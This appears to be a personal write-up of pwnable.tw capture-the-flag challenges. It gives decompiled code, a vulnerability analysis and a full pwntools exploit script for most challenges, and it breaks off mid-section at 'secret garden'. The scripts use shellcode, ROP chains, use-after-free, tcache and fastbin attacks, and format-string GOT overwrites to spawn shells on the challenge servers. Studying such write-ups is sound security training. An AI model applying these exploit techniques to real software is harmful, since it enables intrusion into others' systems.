---
tags: pwn
---
# pwnable.tw writeup
## start
```python=
from pwn import *
rem = remote('chall.pwnable.tw', 10000)
rem.recvuntil(':')
line = b'A' * 20 + p32(0x8048087)
rem.send(line)
stack_addr = rem.recv()[0:4]
shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
shellcode_addr = p32(int.from_bytes(stack_addr, 'little') + 20)
payload = b'A' * 0x14 + shellcode_addr + shellcode
rem.sendline(payload)
rem.interactive()
```
## orw
### Description
This challenge requires us to read the flag from /home/orw/flag only using using `open`, `read`, and `write` system call.
The binary is straightforward, it basically lets us inject shellcode and executes it.
### Exploitation
The attack idea is simple: Write a shellcode that does the following:
1. open "/home/orw/flag"
2. read flag from "/home/orw/flag"
3. write flag to standard output.
### Script
```python=
from pwn import *
io = remote('chall.pwnable.tw', 10001)
io.recvuntil('Give my your shellcode:')
shellcode = asm('''
xor ecx, ecx # O_RDONLY
push 0x0 # null byte
push 0x67616c66 # "flag"
push 0x2f77726f # "orw/"
push 0x2f656d6f # "ome/"
push 0x682f2f2f # "///h"
mov ebx, esp # "///home/orw/flag"
mov eax, 5 # SYS_open
int 0x80 # syscall(SYS_open, "///home/orw/flag", O_RDONLY)
mov edx, 0x28 # length
mov ecx, 0x0804a100 # buffer
mov ebx, eax # move file descriptor
mov eax, 3 # SYS_read
int 0x80 # syscall(SYS_read, fd, buff, length)
mov edx, 0x28 # length
mov ecx, 0x0804a100 # buffer
mov ebx, 1 # STDOUT_FILENO
mov eax, 4 # SYS_write
int 0x80 # syscall(SYS_write, STDOUT_FILENO, buff, length)
''')
io.send(shellcode)
flag = io.recvline()
print(flag)
io.close()
```
## CVE-2018-1160
懶得寫了,跟 HITCON CTF 2019 Quals 的題目一樣,參考
https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#netatalk
## calc
### Description
After running the binary, we can figure out that it is a simple calculator program. Let's examine the result of the decompiled code.
```c=
int __cdecl main(int argc, const char **argv, const char **envp)
{
ssignal(14, timeout);
alarm(60);
puts("=== Welcome to SECPROG calculator ===");
fflush(stdout);
calc();
return puts("Merry Christmas!");
}
```
The core operation is in the calc function. Continue to follow up the calc function and check the code logic.
```c=
unsigned int calc()
{
struct expression exp; // [esp+18h] [ebp-5A0h]
char s[1024]; // [esp+1ACh] [ebp-40Ch]
unsigned int v3; // [esp+5ACh] [ebp-Ch]
v3 = __readgsdword(0x14u);
while ( 1 )
{
bzero(s, 0x400u);
if ( !get_expr(s, 1024) )
break;
init_pool(&exp);
if ( parse_expr(s, &exp) )
{
printf((const char *)&unk_80BF804, exp.stack[exp.num - 1]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v3;
}
```
There are three important functions in `calc`. The first one is the `get_expr` function. This function process the input expression, filter characters, and copy it onto the stack. The second one is the `init_pool` function, it initializes the expression structure. The third function `parse_expr` is the main parsing logic:
```c=
signed int __cdecl parse_expr(char *s, struct expression *exp)
{
char *v2; // ST2C_4
int n; // eax
char *prev; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int top; // [esp+28h] [ebp-80h]
char *temp; // [esp+30h] [ebp-78h]
int num; // [esp+34h] [ebp-74h]
char operator_s[100]; // [esp+38h] [ebp-70h]
unsigned int v11; // [esp+9Ch] [ebp-Ch]
v11 = __readgsdword(0x14u);
prev = s;
top = 0;
bzero(operator_s, 0x64u);
for ( i = 0; ; ++i )
{
if ( (unsigned int)(s[i] - '0') > 9 )
{
v2 = (char *)(&s[i] - prev);
temp = (char *)malloc(v2 + 1);
memcpy(temp, prev, v2);
temp[(_DWORD)v2] = 0;
if ( !strcmp(temp, "0") )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
num = atoi(temp);
if ( num > 0 )
{
n = exp->num++;
exp->stack[n] = num;
}
if ( s[i] && (unsigned int)(s[i + 1] - '0') > 9 )
{
puts("expression error!");
fflush(stdout);
return 0;
}
prev = &s[i + 1];
if ( operator_s[top] )
{
switch ( s[i] )
{
case '%':
case '*':
case '/':
if ( operator_s[top] != '+' && operator_s[top] != '-' )
{
eval(exp, operator_s[top]);
operator_s[top] = s[i];
}
else
{
operator_s[++top] = s[i];
}
break;
case '+':
case '-':
eval(exp, operator_s[top]);
operator_s[top] = s[i];
break;
default:
eval(exp, operator_s[top--]);
break;
}
}
else
{
operator_s[top] = s[i];
}
if ( !s[i] )
break;
}
}
while ( top >= 0 )
eval(exp, operator_s[top--]);
return 1;
}
```
Some important features of this function are:
1. The function starts from the beginning of the string and parse the expression until it reaches an operator. The parser treats every character berfore the operator as a number.
2. From line 25 ~ 36, we can see that the program rejects number 0 (But accepts 00, 000, etc.). After that, it saves the number into the expression structure.
3. Line 44 ~ 70 deals with the main calculation. The final calculation is evaluated in the `eval` function
```c=
struct expression *__cdecl eval(struct expression *exp, char op)
{
struct expression *result; // eax
if ( op == '+' )
{
exp->stack[exp->num - 2] += exp->stack[exp->num - 1];
}
else if ( op > '+' )
{
if ( op == '-' )
{
exp->stack[exp->num - 2] -= exp->stack[exp->num - 1];
}
else if ( op == '/' )
{
exp->stack[exp->num - 2] /= exp->stack[exp->num - 1];
}
}
else if ( op == '*' )
{
exp->stack[exp->num - 2] *= exp->stack[exp->num - 1];
}
result = exp;
--exp->num;
return result;
}
```
The logic of the operation is to read one operator at a time, then take out the last two numbers in the stack, push the result into the stack, and then subtract one from `exp->num`.
### Vulnerability
After some experiments, I find out that the logic fails to deal with expression like `+100+200`. The binary will actually change `exp->num`, which may leads to arbitrary read and write.
### Exploitation
If you enter `+{n1}+{n2}` the `parse_expr` processes the statement something like the following:
```c=
exp->num = n1;
exp->stack[exp->num] = n2;
exp->num++;
exp->stack[exp->num - 2] += exp->stack[exp->num - 1];
exp->num--;
```
In other words, it set `exp->stack[n1]` to `n2`, and set `exp->stack[n1 - 1]` to `exp->stack[n1 - 1] + n2`. Thus, given controlled `n1` and `n2`, as well as the `printf` function in `calc` that prints the calculation result, we can perform arbitrary write and read from the stack. Thus, we can somehow overwrite the return address of `main`, construct a rop chain, and hijack the execution flow.
The exploitation works as follows:
1. Read a leaked stack address from the stack (like old ebp).
2. Construct a rop chain and a string "/bin/sh" to the stack.
3. Overwrite the return address of `main` function with the rop chain.
There is one caveat here, that is the program fails to deal with negative numbers. For instance, the stack address is `0xff....`, which is a negative number in two's complement. So, we must split the num into addition of two signed integers so that the two numbers will "overflow" to the correct negative number.
### Script
```python=
from pwn import *
import ctypes
io = remote('chall.pwnable.tw', 10100)
# find stack address
io.recvuntil('=== Welcome to SECPROG calculator ===\n')
io.sendline('+364+1')
stack_leak = int(io.recvline())
stack_leak = ctypes.c_uint(stack_leak).value
# the binary does not accept unsigned integer. So, divide the address into two signed integers and add them together
sh_addr = stack_leak - 109
sh_addr_1 = sh_addr // 2
sh_addr_2 = sh_addr - sh_addr_1
# construct rop chain
'''
0x08049f13 : xor ecx, ecx ; pop ebx ; mov eax, ecx ; pop esi ; pop edi ; pop ebp ; ret
(/bin/sh address)
junk
junk
junk
0x0808f612 : add eax, 0xb ; pop edi ; ret
junk
0x08080473 : cdq ; ret
0x08049a21 : int 0x80
0x6e69622f : "/bin"
0x0068732f : "/sh\0"
'''
io.sendline('+{0}+{1}'.format(378, 0x68732f))
io.recvline()
io.sendline('+{0}+{1}'.format(377, 0x6e69622f))
io.recvline()
io.sendline('+{0}+{1}'.format(376, 0x8049a21))
io.recvline()
io.sendline('+{0}+{1}'.format(375, 0x8080473))
io.recvline()
io.sendline('+{0}+{1}'.format(373, 0x808f612))
io.recvline()
io.sendline('+{0}+{1}'.format(369, sh_addr_1))
io.recvline()
io.sendline('+{0}+{1}'.format(370, sh_addr_2))
io.recvline()
io.sendline('+{0}+{1}'.format(368, 0x8049f13))
io.recvline()
io.interactive()
```
## hacknote
### Description
The functions in the binary is quite self-explanatory. There are 3 functions in total: `add_note`, `delete_note`, and `print_note`.
The `add_note` function first malloc for a note struct which is 8 byte in size. The first 4 byte is the `print` function, the last 4 byte is the pointer to the node content. The structure of node is shown below:
```c
struct node {
void (*puts_func)();
char *content;
}
```
After that, it prompts the user for note size, and the node content is being allocated by malloc. No heap overflow here.
The `delete_note` function simply frees the note content chunk, then free the note chunk.
### Vulnerability
Here, we can see that there is an obvious **use after free** error in `delete_note`.
First, we need to leak the libc address. We can achieve this by printing the **GOT entry** of a function, say, `puts`.
```python
puts_func = 0x804862b
# write got pointer of puts to ptr[1]
data = p32(puts_func) + p32(elf.got['puts'])
add_note(0x8, data)
# leak puts address
puts_addr = u32(print_note(1))
libc.address = puts_addr - libc.sym['puts']
```
Then, we want to trigger `system("sh")`. The strategy is quite straightforward. If we overwrite `note->puts_func` with `system`, and let `node->content` = ";sh", then we can trigger the function `system("<system_addr>;sh")` and get a shell.
```python
# calculate system address
system_libc = libc.sym['system']
# write ';sh\0' to ptr[1] again, then it will invoke system("<system_addr>;sh\0")
delete_note(2)
data = p32(system_libc) + b';sh\0'
add_note(0x8, data)
```
### Exploit
```python
from pwn import *
io = remote('chall.pwnable.tw', 10102)
elf = ELF('./hacknote')
libc = ELF('./libc_32.so.6')
def add_note(size, data):
io.recvuntil('Your choice :')
io.sendline('1')
io.recvuntil('Note size :')
io.sendline(str(size))
io.recvuntil('Content :')
io.send(data)
def delete_note(index):
io.recvuntil('Your choice :')
io.sendline('2')
io.recvuntil('Index :')
io.sendline(str(index))
def print_note(index):
io.recvuntil('Your choice :')
io.sendline('3')
io.recvuntil('Index :')
io.sendline(str(index))
data = io.recvuntil('----------------------')
return data[:4]
puts_func = 0x804862b
add_note(0x18, 'AAAAAAAA')
add_note(0x18, 'AAAAAAAA')
delete_note(1)
delete_note(0)
# write got pointer of puts to ptr[1]
data = p32(puts_func) + p32(elf.got['puts'])
add_note(0x8, data)
# leak puts address
puts_addr = u32(print_note(1))
libc.address = puts_addr - libc.sym['puts']
# calculate system address
system_libc = libc.sym['system']
# write ';sh\0' to ptr[1] again, then it will invoke system("<system_addr>;sh\0")
delete_note(2)
data = p32(system_libc) + b';sh\0'
add_note(0x8, data)
io.recvuntil('Your choice :')
io.sendline('3')
io.recvuntil('Index :')
io.sendline('1')
io.interactive()
```
## 3x17
### Description
The binary is simple. You give the binary an address and a value, the binary will modify the address with the intended value.
### Vulnerability
The vulnerability is, of course, arbitrary write. Note that overwriting a single address with one single value is, in reality, impossible to pwn the binary. In fact, the main point of this problem is to introduce us an attack involving hijacking **.fini_array** ([more information](http://www.bright-shadows.net/tutorials/dtors.txt)). The main idea of this attack is to make `.fini_array[0]` = `__libc_csu_fini` and `.fini_array[1]` = `main`. Then, the program will eventually circulate between `main` and `__libc_csu_fini`. Thereafter, we can perform arbitrary number of writes.
Next, we want to construct a ROP stack that triggers `execve("/bin/sh", NULL, NULL)`. Here is a small tip that I use in this problem: I use `leave` instruction to store `rbp` into `rsp`. Let's examine the assembly code:
```
.text:0000000000402960 sub_402960 proc near ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960 push rbp
.text:0000000000402961 lea rax, unk_4B4100
.text:0000000000402968 lea rbp, off_4B40F0
.text:000000000040296F push rbx
.text:0000000000402970 sub rax, rbp
.text:0000000000402973 sub rsp, 8
.text:0000000000402977 sar rax, 3
.text:000000000040297B jz short loc_402996
.text:000000000040297D lea rbx, [rax-1]
.text:0000000000402981 nop dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996: ; CODE XREF: sub_402960+1B↑j
.text:0000000000402996 add rsp, 8
.text:000000000040299A pop rbx
.text:000000000040299B pop rbp
.text:000000000040299C jmp sub_48E32C
.text:000000000040299C ; } // starts at 402960
.text:000000000040299C sub_402960 endp
```
We can see that `rbp` is `0x4b40f0`, which is the address of `.fini_array`. Calling `leave` instruction is equivalent to performing `mov rsp, rbp` and `pop rbp`, which overwrite `rsp` with `rbp`. Consequently, `rsp` is replaced with `rbp`, which is the address of `.fini_array`. In conclusion, our ROP gadget should be written at the address of `.fini_array + 8`, whic implies that we can construct the ROP stack near `.fini_array`.
Note that there is a restriction that `cnt` must be 1. But, thanks th the integer overflow of uint8 in `cnt`, it will eventually "cycles" back to 1, which makes the restriction useless.
### Exploit
```python=
from pwn import *
io = remote('chall.pwnable.tw', 10105)
def overwrite(addr, data):
io.recvuntil('addr:')
io.send(str(addr))
io.recvuntil('data:')
io.send(data)
# hijack .fini_array
fini_array = 0x4b40f0
libc_csu_fini = 0x402960
main = 0x401b6d
overwrite(fini_array, p64(libc_csu_fini) + p64(main))
# rop gadget
leave_ret_addr = 0x401c4b
pop_rdi = 0x401696
pop_rsi = 0x406c30
pop_rdx = 0x446e35
xor_rax_rax = 0x442110
add_al_0x3a = 0x417b0f
add_eax_1 = 0x471811
syscall = 0x4022b4
overwrite(fini_array + 0x10, p64(fini_array + 0x58) + p64(pop_rsi) + p64(0))
overwrite(fini_array + 0x28, p64(pop_rdx) + p64(0) + p64(xor_rax_rax))
overwrite(fini_array + 0x40, p64(add_al_0x3a) + p64(add_eax_1) + p64(syscall))
overwrite(fini_array + 0x58, b'/bin/sh\0')
overwrite(fini_array, p64(leave_ret_addr) + p64(pop_rdi))
io.interactive()
```
## dubblesort
### Description
The decompiled code:
```c=
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int *v4; // edi
unsigned int v5; // esi
int v6; // ecx
unsigned int i; // esi
int v8; // ST08_4
int result; // eax
int v10; // edx
unsigned int v11; // et1
unsigned int sort_num; // [esp+18h] [ebp-74h]
int array[8]; // [esp+1Ch] [ebp-70h]
char name[64]; // [esp+3Ch] [ebp-50h]
unsigned int v15; // [esp+7Ch] [ebp-10h]
v15 = __readgsdword(0x14u);
signal_alarm();
__printf_chk(1, "What your name :");
read(0, name, 0x40u);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &sort_num);
v3 = sort_num;
if ( sort_num )
{
v4 = array;
v5 = 0;
do
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
++v5;
v3 = sort_num;
++v4;
}
while ( sort_num > v5 );
}
dubblesort((unsigned int *)array, v3);
puts("Result :");
if ( sort_num )
{
i = 0;
do
{
v8 = array[i];
__printf_chk(1, "%u ");
++i;
}
while ( sort_num > i );
}
result = 0;
v11 = __readgsdword(0x14u);
v10 = v11 ^ v15;
if ( v11 != v15 )
sub_BA0(v6, v10);
return result;
}
The binary first asks for your name. Then it asks how many numbers to sort. Next, it asks for the numbers that you want to sort. Finally, it shows you the sorted output.
```
### Exploitation
1. The binary uses `read` to handle input name. It seems that the binary does not handle null byte properly. If we enter name `b'A' * 0x18`, we can see non-printable characters after the output:
```
What your name :AAAAAAAAAAAAAAAAAAAAAAAA
Hello AAAAAAAAAAAAAAAAAAAAAAAA
@��,How many numbers do you what to sort :
```
This means that we can read some leaked values from the stack. After some experiments, I found out that the leaked value seems to be a libc address. Eventaully, we can calculate the base address of libc.
2. There is no mechanism that checks the number of numbers that we want to sort. So, if we enter more than 24 numbers, we can see that the program crashes due to stack smashing. This indicates that the stack values beyond the array is being sorted. Here, we want to somehow bypass the canary so that the canary would not been overwritten. Here, notice that the program uses `scanf("%u")` when inputting numbers. After some investigation, it seems that we can give '+' as input. It will be regarded as normal input while keeping the original value at this position and skip directly to the next one. So, we can bypass canary by inputing '+'.
3. The rest of the exploit is simply **return to libc** attack. We can utilize the libc shared library to find `system` and `/bin/sh`, then replace the return address with `system('/bin/sh')`.
### Script
```python=
from pwn import *
io = remote('chall.pwnable.tw', 10101)
libc = ELF('./libc_32.so.6')
io.recvuntil(':')
# leak libc address
io.sendline(b'A' * 24)
io.recvline()
libc_leak = b'\0' + io.recvuntil(':')[0:3]
libc_leak = u32(libc_leak)
libc.address = libc_leak - 0x1b0000
# calculate system address and shell address
system_addr = libc.symbols['system']
sh_addr = next(libc.search(b'/bin/sh\x00'))
io.sendline('35')
# 1 ~ 23 in first 24 numbers
for i in range(24):
io.recvuntil(': ')
io.sendline(str(i))
# skip canary using '+'
io.recvuntil(': ')
io.sendline('+')
# 7 libc address
for i in range(7):
io.recvuntil(': ')
io.sendline(str(libc.address))
# system address
io.recvuntil(': ')
io.sendline(str(system_addr))
# junk, just set it to system_addr
io.recvuntil(': ')
io.sendline(str(system_addr))
# /bin/sh
io.recvuntil(': ')
io.sendline(str(sh_addr))
io.interactive()
```
## Silver Bullet
### Vulnerability
`strncat` will add a null byte at the end of the string, which means that `strncat` will reset the byte after the last character to '\0'. In our case, it will causing the `counter` field to be reset to zero. Thus, we can continue power up, and the binary end up with buffer overflow. The remaining part is quite easy.
### Exploitation
```python=
from pwn import *
io = remote('chall.pwnable.tw', 10103)
elf = ELF('./silver_bullet')
libc = ELF('./libc_32.so.6')
def create_bullet(desc):
io.recvuntil('Your choice :')
io.sendline('1')
io.recvuntil('Give me your description of bullet :')
io.send(desc)
def power_up(new_desc):
io.recvuntil('Your choice :')
io.sendline('2')
io.recvuntil('Give me your another description of bullet :')
io.send(new_desc)
def beat():
io.recvuntil('Your choice :')
io.sendline('3')
# overwrite bullet->power with 0
create_bullet('A' * 47)
power_up('A')
# print address of puts and calculate base address of libc
main_address = 0x8048954
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
power_up(b'\x7f\xff\xff' + b'AAAA' + p32(puts_plt) + p32(main_address) + p32(puts_got))
beat()
io.recvuntil('Oh ! You win !!\n')
puts_addr = u32(io.recv(4))
libc.address = puts_addr - libc.sym['puts']
# again
create_bullet('A' * 47)
power_up('B')
# trigger system('/bin/sh')
system_addr = libc.sym['system']
sh_addr = next(libc.search(b'/bin/sh'))
power_up(b'\x7f\xff\xff' + b'AAAA' + p32(system_addr) + b'AAAA' + p32(sh_addr))
beat()
io.interactive()
```
## applestore
### Vulnerability
The structure that stores the iphone 8 is not stored on the heap, but on the stack. Hence, after the `checkout` function ends, the structure is released. When other functions are called, the structure is likely to be overwritten. So as long as we pay attention to which functions can control the structure of iphone 8, we can perform arbitrary read and write.
```c=
unsigned int checkout()
{
int total_price; // [esp+10h] [ebp-28h]
struct item curr_item; // [esp+18h] [ebp-20h]
unsigned int v3; // [esp+2Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
total_price = cart();
if ( total_price == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf((char **)&curr_item, "%s", "iPhone 8");
curr_item.price = 1;
insert(&curr_item);
total_price = 7175;
}
printf("Total: $%d\n", total_price);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v3;
}
```
### Exploitation
1. First, we ned to control the total price of the product to 7174. Then, we can easily leak libc address by calling the `checkout` function.
2. The stack address pointing to the iphone 8 structure has been inserted into the linked list now. Hence, we can try to overwrite the structure of iphone 8, change the address to `environ` and leak a stack address.
3. After we get the stack address, we can calculate the proper offset and ROP the binary.
```python=
from pwn import *
io = remote('chall.pwnable.tw', 10104)
elf = ELF('./applestore')
libc = ELF('./libc_32.so.6')
def add(number):
io.recvuntil('> ')
io.send('2')
io.recvuntil('Device Number> ')
io.send(number)
def delete(number):
io.recvuntil('> ')
io.send('3')
io.recvuntil('Item Number> ')
io.send(number)
def cart(yn):
io.recvuntil('> ')
io.sendline('4')
io.recvuntil('Let me check your cart. ok? (y/n) > ')
io.sendline(yn)
if yn[0] == ord(b'y'):
leak = io.recvuntil(' - $0', drop = True)
return leak
else:
return None
def checkout(yn, iphone8 = False):
io.recvuntil('> ')
io.sendline('5')
io.recvuntil('Let me check your cart. ok? (y/n) > ')
io.sendline(yn)
def leave():
io.recvuntil('> ')
io.sendline('6')
'''
199 * 10 + 299 * 12 + 399 * 4 == 7174
'''
for i in range(10):
add(b'1')
for i in range(12):
add(b'2')
for i in range(4):
add(b'4')
checkout('y', True)
# leak libc address
leak = cart(b'yy' + p32(elf.got['read']) + p32(0) + p32(0) + p32(0)).split(b'\n')[-1]
libc.address = u32(leak[4:8]) - 0xd41c0
# leak stack address via environ
leak = cart(b'yy' + p32(libc.sym['environ']) + p32(0) + p32(0) + p32(0)).split(b'\n')[-1]
rop_addr = u32(leak[4:8]) - 0xa0
# write rop gadget
system_addr = libc.sym['system']
sh_addr = next(libc.search(b'/bin/sh'))
rop_gadget = p32(system_addr) + p32(0) + p32(sh_addr)
write_addr = libc.address + 0x1b4e00
for index, char in enumerate(rop_gadget):
delete(b'27' + p32(0) + p32(0) + p32(write_addr + char) + p32(rop_addr - 0x8 + index))
# trigger rop
leave()
io.interactive()
```
## Re-alloc
### Vulnerability
If size is set to 0 in `realloc`, the effect is identical to heap. Hence, notice that if we set `size` to 0, the chunk is freed, but `heap[0]` or `heap[1]` is not cleared. Hence, there is a **uaf** vulnerability.
```c=
int reallocate()
{
unsigned __int64 v1; // [rsp+8h] [rbp-18h]
unsigned __int64 size; // [rsp+10h] [rbp-10h]
void *v3; // [rsp+18h] [rbp-8h]
printf("Index:");
v1 = read_long();
if ( v1 > 1 || !heap[v1] )
return puts("Invalid !");
printf("Size:");
size = read_long();
if ( size > 0x78 )
return puts("Too large!");
v3 = realloc(heap[v1], size);
if ( !v3 )
return puts("alloc error");
heap[v1] = v3;
printf("Data:", size);
return read_input((__int64)heap[v1], size);
}
```
### Exploitation
1. Basically, we can use tcache dup to overwrite `atoi@got` to `printf@plt`. After that, the problem turns into a fmt string problem.
2. The fmt problem here is quite tricky, because we can only input up to 16 characters. We should try to use fmt write to paint `_exit@got`, `_exit@got+1`, ..., `_exit@got+7` onto the stack first, then use fmt write to overwrite these address with `one_gadget[0]`, `one_gadget[1]`, ..., `one_gadget[7]` respectively.
```python=
from pwn import *
io = remote('chall.pwnable.tw', 10106)
libc = ELF('./libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so')
elf = ELF('./re-alloc')
def alloc(index, size, data):
io.recvuntil('Your choice: ')
io.sendline('1')
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Size:')
io.sendline(str(size))
io.recvuntil('Data:')
io.send(data)
def realloc(index, size, data):
io.recvuntil('Your choice: ')
io.sendline('2')
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Size:')
io.sendline(str(size))
if size == 0:
return
io.recvuntil('Data:')
io.send(data)
def free(index):
io.recvuntil('Your choice: ')
io.sendline('3')
io.recvuntil('Index:')
io.sendline(str(index))
def fmt_read(index):
io.recvuntil('Your choice: ')
io.sendline('1')
io.recvuntil('Index:')
io.send('%{}$016lx'.format(index))
return io.recv(16)
def fmt_write(index, value):
io.recvuntil('Your choice: ')
io.sendline('1')
io.recvuntil('Index:')
io.send('%{}c%{}$hhn'.format(value, index).ljust(16))
def leave():
io.recvuntil('Your choice: ')
io.sendline('4')
# double free error
alloc(0, 0x18, b'A')
realloc(0, 0, b'')
realloc(0, 0x18, p64(0) + p64(0))
free(0)
alloc(0, 0x18, p64(elf.got['atoll']) + p64(0))
alloc(1, 0x18, b'A')
realloc(1, 0x28, b'A')
free(1)
# change got address of atoi to printf
# now, the challenge turns into a fmt exploitation challenge
alloc(1, 0x18, p64(elf.plt['printf']))
# leak libc address and stack address
libc.address = int(fmt_read(23), 16) - 0x26b6b
stack_address = int(fmt_read(18), 16)
# write got address of _exit to stack
for i in range(3):
fmt_write(12, (stack_address & 0xff) + i)
fmt_write(18, p64(elf.got['_exit'])[i])
# overwrite got address of _exit with one_gadget
one_gadget = libc.address + 0xe2383
fmt_write(12, stack_address & 0xff)
for i in range(6):
fmt_write(18, (elf.got['_exit'] & 0xff) + i)
fmt_write(22, p64(one_gadget)[i])
# trigger one_gadget
leave()
io.interactive()
```
## tcache tear
### Vulnerability
1. An obvious double free error in main function.
2. integer overflow vulnerability in `my_malloc` (not used)
### Exploitation
1. The only thing we can do now is tcache duplication. Perform it leads to tcache poisoning, which subsequently leads to arbitrary write.
3. The only place that we can perform arbitrary reading is in `info` function. Thus, the best way to leak the libc address is to leak the unsorted bin addres (which is in libc).
4. Construct several fake chunks that allows us to performs unsorted bin attack. Perform it and calcuate the libc base address.
6. Change `__free_hook` to `system` and perform return to libc attack by calling the `free` fuction.
### Exploit
```python=
from pwn import *
libc = ELF('./libc.so.6')
io = remote('chall.pwnable.tw', 10207)
io.recvuntil('Name')
io.send('name')
def mymalloc(size, data):
io.recvuntil('Your choice :')
io.sendline('1')
io.recvuntil('Size:')
io.sendline(str(size))
io.recvuntil('Data:')
io.send(data)
def myfree():
io.recvuntil('Your choice :')
io.sendline('2')
def info():
io.recvuntil('Your choice :')
io.sendline('3')
return io.recvuntil('$$$$$$$$$$$$$$$$$$$$$$$')
name_addr = 0x602060
big_chunk_size = 0x420
small_chunk_size = 0x20
top_chunk_size = 0x10000
# tcache duplication and tcache poisoning -> arbitrary write
# construct fake chunks to perform unsorted bin attack and leak libc address
mymalloc(0x38, 'AAAA')
myfree()
myfree()
mymalloc(0x38, p64(name_addr + big_chunk_size + 0x8))
mymalloc(0x38, 'BBBB')
mymalloc(0x38, p64(small_chunk_size | 1) + p64(0) * 3 + p64(top_chunk_size | 1))
mymalloc(0x48, 'AAAA')
myfree()
myfree()
mymalloc(0x48, p64(name_addr))
mymalloc(0x48, 'BBBB')
mymalloc(0x48, p64(0) + p64(big_chunk_size | 1) + p64(0) * 3 + p64(name_addr + 0x10))
myfree()
# leak libc address
info_leak = info()
libc_leak = info_leak[22:28]
libc_leak = u64(libc_leak.ljust(8, b'\0'))
offset = 0x3ebca0
libc_base = libc_leak - offset
# overwrite free hook
free_hook_addr = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
mymalloc(0x58, 'AAAA')
myfree()
myfree()
mymalloc(0x58, p64(free_hook_addr))
mymalloc(0x58, 'BBBB')
mymalloc(0x58, p64(system_addr))
mymalloc(0x68, '/bin/sh\0')
# return to libc attack
myfree()
io.interactive()
```
## secret garden
### Description
The application is pretty simple and straightforward, you can create a flower in a garden. A flower object can be removed from the garden marking it as freed. You can also free the flower object with the by cleaning the garden.
There are 5 options available in the menu:
1. `raise_flower`: It malloc a 0x28 size flower object. The, it prompts for the length of the flower, allocate a chunk for the flower name using malloc, and ask for the flower name. This means that we can controll the malloc size.
2. `visit`: It prints all the unfreed flower name along with the color.
3. `remove_flower`: It asks the user for the index of the flower that you want to free.
4. `clean_garden`: It iterates through all flowers in the garden and frees the flower objects which the `freed` field is set to 0.
### Vulnerabilities
In `remove_flower`, there is an obvious double free error.
### Exploitation
Our first goal is to leak the base address of libc. In `raise_flower`, we get to decide the size that we want to malloc. Hence, we can allocate a chunk that is bit enough so that when the chunk is freed, it is inserted into the **unsorted bin**. In order to leak the **main arena** address, we allocate two chunks of size 0xb0. By doing so, when the second chunk is freed, it will be inserted into the unsorted bin. After that, `chunk->fd` and `chunk->bk` will be the address of the **main arena**.
```
gdb-peda$ x/32xg 0x555556cd3070
0x555556cd3070: 0x0000000000000000 0x0000000000000091
0x555556cd3080: 0x00007f977c5ccb0a 0x00007f977c5ccb78
0x555556cd3090: 0x0000000000000000 0x0000000000000000
0x555556cd30a0: 0x0000000000000000 0x0000000000000000
0x555556cd30b0: 0x0000000000000000 0x0000000000000000
0x555556cd30c0: 0x0000000000000000 0x0000000000000000
0x555556cd30d0: 0x0000000000000000 0x0000000000000000
0x555556cd30e0: 0x0000000000000000 0x0000000000000000
0x555556cd30f0: 0x0000000000000000 0x0000000000000000
0x555556cd3100: 0x0000000000000090 0x0000000000000031
0x555556cd3110: 0x0000000000000001 0x0000555556cd3140
0x555556cd3120: 0x0000000000000030 0x0000000000000000
0x555556cd3130: 0x0000000000000000 0x00000000000000c1
0x555556cd3140: 0x0000000000000000 0x0000000000000000
0x555556cd3150: 0x0000000000000000 0x0000000000000000
0x555556cd3160: 0x0000000000000000 0x0000000000000000
gdb-peda$
```
Then, we call the `visit` option to leak the address of main arena. Eventually, we can use the leaked address to calculate the base address of libc. The offset that we have to subtract is 3947274. Below is the script that leaks the base address of libc:
```python3
raise_flower(0xb0, b'A', b'0')
raise_flower(0xb0, b'A', b'0')
remove_flower(0)
raise_flower(128, b'\n', b'0')
leak = visit().split(b':')[3][0:6]
libc_leak = u64(leak.ljust(8, b'\0'))
libc.address = libc_leak - 3947274
```
The next step is to figure out how to carry our arbitrary write. Since there is a double free error, and the version of libc is less than 2.25, we can perform the [fastbin dup](https://github.com/shellphish/how2heap/blob/master/fastbin_dup.c) attack.
Below is the script that performs bastbin dup:
```python
raise_flower(0x68, b'A', b'0')
raise_flower(0x68, b'A', b'0')
raise_flower(0x68, b'A', b'0')
remove_flower(3)
remove_flower(4)
remove_flower(3)
```
Now, the real problem is that what address can we overwrite? By typing `checksec` in gdb-peda, we can see that the protection is fully on:
```
[*] '/home/user/pwnable.tw_writeup/secretgarden/secretgarden'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
```
Hence, we have no way to perform **return to libc** attack by overwriting the **GOT table**. Luckily, the `__free_hook` and `__malloc_hook` in glibc can still be overwritten.
But before that, there is one more security check that you need to bypass. We need to specify the size of the memory chunk. This is because if the requested memory chuck can be found in fastbin, malloc removes the chunk from the fastbin and again calculates the fastbin index where the chunk should be placed. Thus, if malloc finds out that size of the memory chunk is incorrect, it will throws a memory corruption error. ([reference](](https://github.com/shellphish/how2heap/blob/master/glibc_2.25/fastbin_dup_into_stack.c#L41-L45))
```python
malloc_hook = libc.sym['__malloc_hook']
